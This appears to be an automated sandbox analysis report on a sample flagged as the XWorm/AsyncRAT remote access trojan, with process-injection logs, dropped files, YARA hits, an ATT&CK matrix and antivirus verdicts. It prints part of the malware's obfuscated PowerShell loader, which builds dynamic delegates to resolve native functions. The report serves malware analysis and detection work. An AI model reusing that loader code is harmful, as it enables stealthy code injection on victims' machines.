Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2CA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2870000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2BB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: CA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: EE0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 11D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1170000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 10A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2A90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1420000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 13E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 25B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: EE0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: ED0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1220000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2B80000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: DC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1020000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 28C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2D00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: FA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2DC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: EF0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 23F0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2E70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: FA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18DFB160000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1D6EE470000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1D6EE4A0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5360000	Jump to behavior

Source: C:\Users\user\Desktop\x433.exe	Process created: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe "C:\Users\user\AppData\Local\Temp\x4Shellcode.exe"	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process created: C:\Users\user\AppData\Local\Temp\x4host.exe "C:\Users\user\AppData\Local\Temp\x4host.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{ae1c0bda-3b65-4ccd-a1ee-0c799d56cbd6}	Jump to behavior

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe "function local:rlleiafhazae{param([outputtype([type])][parameter(position=0)][type[]]$osygfxruyuiqnc,[parameter(position=1)][type]$mbvadjewai)$relcklizwns=[appdomain]::currentdomain.definedynamicassembly((new-object reflection.assemblyname(''+'r'+''+[char](101)+''+'f'+'l'+[char](101)+''+[char](99)+''+'t'+''+[char](101)+''+[char](100)+''+'d'+'e'+[char](108)+''+'e'+''+[char](103)+'a'+[char](116)+''+'e'+'')),[reflection.emit.assemblybuilderaccess]::run).definedynamicmodule(''+[char](73)+'n'+[char](77)+'e'+[char](109)+''+[char](111)+''+[char](114)+'y'+'m'+'o'+[char](100)+''+[char](117)+'l'+'e'+'',$false).definetype('my'+'d'+''+'e'+''+[char](108)+''+[char](101)+''+[char](103)+'ate'+[char](84)+''+'y'+'p'+[char](101)+'',''+[char](67)+''+[char](108)+''+[char](97)+''+[char](115)+'s'+','+''+[char](80)+''+'u'+'bl'+'i'+''+[char](99)+''+[char](44)+''+[char](83)+''+[char](101)+'a'+[char](108)+''+[char](101)+''+'d'+','+'a'+''+[char](110)+''+[char](115)+''+[char](105)+''+[char](67)+'la'+[char](115)+''+'s'+','+[char](65)+''+'u'+''+[char](116)+''+'o'+''+[char](67)+''+[char](108)+'a'+[char](115)+'s',[multicastdelegate]);$relcklizwns.defineconstructor(''+[char](82)+''+'t'+'s'+[char](112)+''+[char](101)+''+[char](99)+''+[char](105)+''+[char](97)+'l'+[char](78)+''+'a'+''+[char](109)+'e'+[char](44)+''+[char](72)+''+'i'+'debys'+'i'+''+'g'+''+[char](44)+''+'p'+''+'u'+''+'b'+''+'l'+''+[char](105)+'c',[reflection.callingconventions]::standard,$osygfxruyuiqnc).setimplementationflags(''+'r'+''+[char](117)+''+'n'+''+[char](116)+''+[char](105)+''+[char](109)+''+[char](101)+',m'+[char](97)+''+'n'+''+[char](97)+''+'g'+''+'e'+''+'d'+'');$relcklizwns.definemethod(''+[char](73)+''+[char](110)+'v'+'o'+''+'k'+''+[char](101)+'',''+[char](80)+''+'u'+'b'+[char](108)+''+[char](105)+''+[char](99)+''+','+''+[char](72)+''+[char](105)+'deb'+'y'+''+'s'+'i'+[char](103)+','+'n'+'ew'+[char](83)+''+[char](108)+'o'+[char](116)+''+','+'vi'+[char](114)+'t'+[char](117)+''+[char](97)+''+'l'+'',$mbvadjewai,$osygfxruyuiqnc).setimplementationflags(''+'r'+''+'u'+''+'n'+''+'t'+''+'i'+'me'+[char](44)+''+'m'+''+[char](97)+''+'n'+''+[char](97)+'g'+[char](101)+''+'d'+'');write-output $relcklizwns.createtype();}$ggvrsjgyyzyvf=([appdomain]::currentdomain.getassemblies()|where-object{$_.globalassemblycache -and $_.location.split('\')[-1].equals('sy'+[char](115)+''+[char](116)+''+'e'+'m.'+[char](100)+''+[char](108)+''+'l'+'')}).gettype(''+[char](77)+''+[char](105)+''+[char](99)+''+'r'+''+[char](111)+''+[char](115)+''+[char](111)+''+'f'+'t.wi'+[char](110)+'32.'+'u'+''+[char](110)+''+'s'+'a'+[char](102)+''+[char](101)+''+[char](78)+''+[char](97)+''+[char](116)+''+[char](105)+''+'v'+''+[char](101)+''+'m'+'eth'+'o'+''+[char](100)+''+'s'+'');$vrbfksfcqktmpl=$ggvrsjgyyzyvf.getmethod(''+'g'+''+[char](101)+'tpr'+[char](111)+''+[char](99)+''+[char](65)+''+[char](100)+'d'+[char](114)+''+[char](101)+'s'+'s'+''

Source: C:\Windows\System32\dllhost.exe

Code function: 5_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

5_2_0000000140002300

Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe

Code function: 1_2_00788550 GetVolumeInformationW,wsprintfW,GetLastError,GetLastError,GetUserNameW,GetLastError,GetLastError,GetUserNameW,LocalFree,AllocateAndInitializeSid,wsprintfW,SetEntriesInAclW,GetLastError,OpenMutexW,

1_2_00788550

Source: x4host.exe, 00000002.00000002.2967434276.00000000031F2000.00000004.00000800.00020000.00000000.sdmp, x4host.exe, 00000002.00000002.2967434276.00000000031FF000.00000004.00000800.00020000.00000000.sdmp, x4host.exe, 00000002.00000002.2967434276.00000000032E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0
Source: x4host.exe, 00000002.00000002.2967434276.00000000031F2000.00000004.00000800.00020000.00000000.sdmp, x4host.exe, 00000002.00000002.2967434276.00000000031FF000.00000004.00000800.00020000.00000000.sdmp, x4host.exe, 00000002.00000002.2967434276.00000000032E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 00000006.00000000.1742227143.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000006.00000002.2982221757.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000009.00000002.3031673305.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000006.00000000.1742227143.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000006.00000002.2982221757.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000009.00000002.3031673305.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: x4host.exe, 00000002.00000002.2967434276.00000000031F2000.00000004.00000800.00020000.00000000.sdmp, x4host.exe, 00000002.00000002.2967434276.00000000031FF000.00000004.00000800.00020000.00000000.sdmp, x4host.exe, 00000002.00000002.2967434276.00000000032E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>0
Source: x4host.exe, 00000002.00000002.2967434276.00000000031F2000.00000004.00000800.00020000.00000000.sdmp, x4host.exe, 00000002.00000002.2967434276.00000000031FF000.00000004.00000800.00020000.00000000.sdmp, x4host.exe, 00000002.00000002.2967434276.00000000032E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager2y
Source: x4host.exe, 00000002.00000002.2967434276.00000000031F2000.00000004.00000800.00020000.00000000.sdmp, x4host.exe, 00000002.00000002.2967434276.00000000031FF000.00000004.00000800.00020000.00000000.sdmp, x4host.exe, 00000002.00000002.2967434276.00000000032E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0@
Source: winlogon.exe, 00000006.00000000.1742227143.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000006.00000002.2982221757.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000009.00000002.3031673305.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: winlogon.exe, 00000006.00000000.1742227143.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000006.00000002.2982221757.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000009.00000002.3031673305.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Windows\System32\dllhost.exe

Code function: 5_3_000002D8B0A44040 cpuid

5_3_000002D8B0A44040

Source: C:\Users\user\Desktop\x433.exe	Queries volume information: C:\Users\user\Desktop\x433.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\x4host.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\x4usb.exe	Queries volume information: C:\Users\user\AppData\Local\x4usb.exe VolumeInformation

Source: C:\Windows\System32\dllhost.exe

Code function: 5_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

5_2_0000000140002300

Source: C:\Windows\System32\dllhost.exe

Code function: 5_2_000002D8B0A67D50 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_000002D8B0A67D50

Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe

1_2_00788550

Source: C:\Users\user\Desktop\x433.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: x4host.exe, 00000002.00000002.2937932560.0000000001407000.00000004.00000020.00020000.00000000.sdmp, x4host.exe, 00000002.00000002.3000681433.000000001C0D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: dllhost.exe, Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.16.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\AppData\Local\Temp\x4host.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 0.2.x433.exe.29b77d8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.x4host.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.x433.exe.29b77d8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1709422465.0000000002991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1707631721.0000000000FB2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2967434276.0000000003181000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x433.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x4host.exe PID: 6860, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\x4usb.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\x4host.exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 0.2.x433.exe.29b77d8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.x4host.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.x433.exe.29b77d8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1709422465.0000000002991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1707631721.0000000000FB2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2967434276.0000000003181000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x433.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x4host.exe PID: 6860, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\x4usb.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\x4host.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Windows Service	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	21 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Windows Service	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	21 Registry Run Keys / Startup Folder	713 Process Injection	1 Install Root Certificate	NTDS	34 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 Service Execution	Network Logon Script	1 Scheduled Task/Job	32 Software Packing	LSA Secrets	661 Security Software Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	21 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	151 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	4 Rootkit	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Masquerading	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Modify Registry	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	151 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Access Token Manipulation	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	713 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service
Business Relationships	Server	Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	1 Hidden Files and Directories	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Internal Proxy	Commonly Used Port	Direct Network Flood

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
x433.exe	76%	ReversingLabs	ByteCode-MSIL.Trojan.XWormRAT
x433.exe	100%	Avira	TR/Dropper.Gen
x433.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	100%	Avira	TR/Dropper.MSIL.Gen
C:\Users\user\AppData\Local\Temp\x4host.exe	100%	Avira	HEUR/AGEN.1305769
C:\Users\user\AppData\Local\x4usb.exe	100%	Avira	HEUR/AGEN.1305769
C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\x4host.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\x4usb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	96%	ReversingLabs	Win32.Virus.Expiro
C:\Users\user\AppData\Local\Temp\x4host.exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.AsyncRAT
C:\Users\user\AppData\Local\x4usb.exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.AsyncRAT

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/trust	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
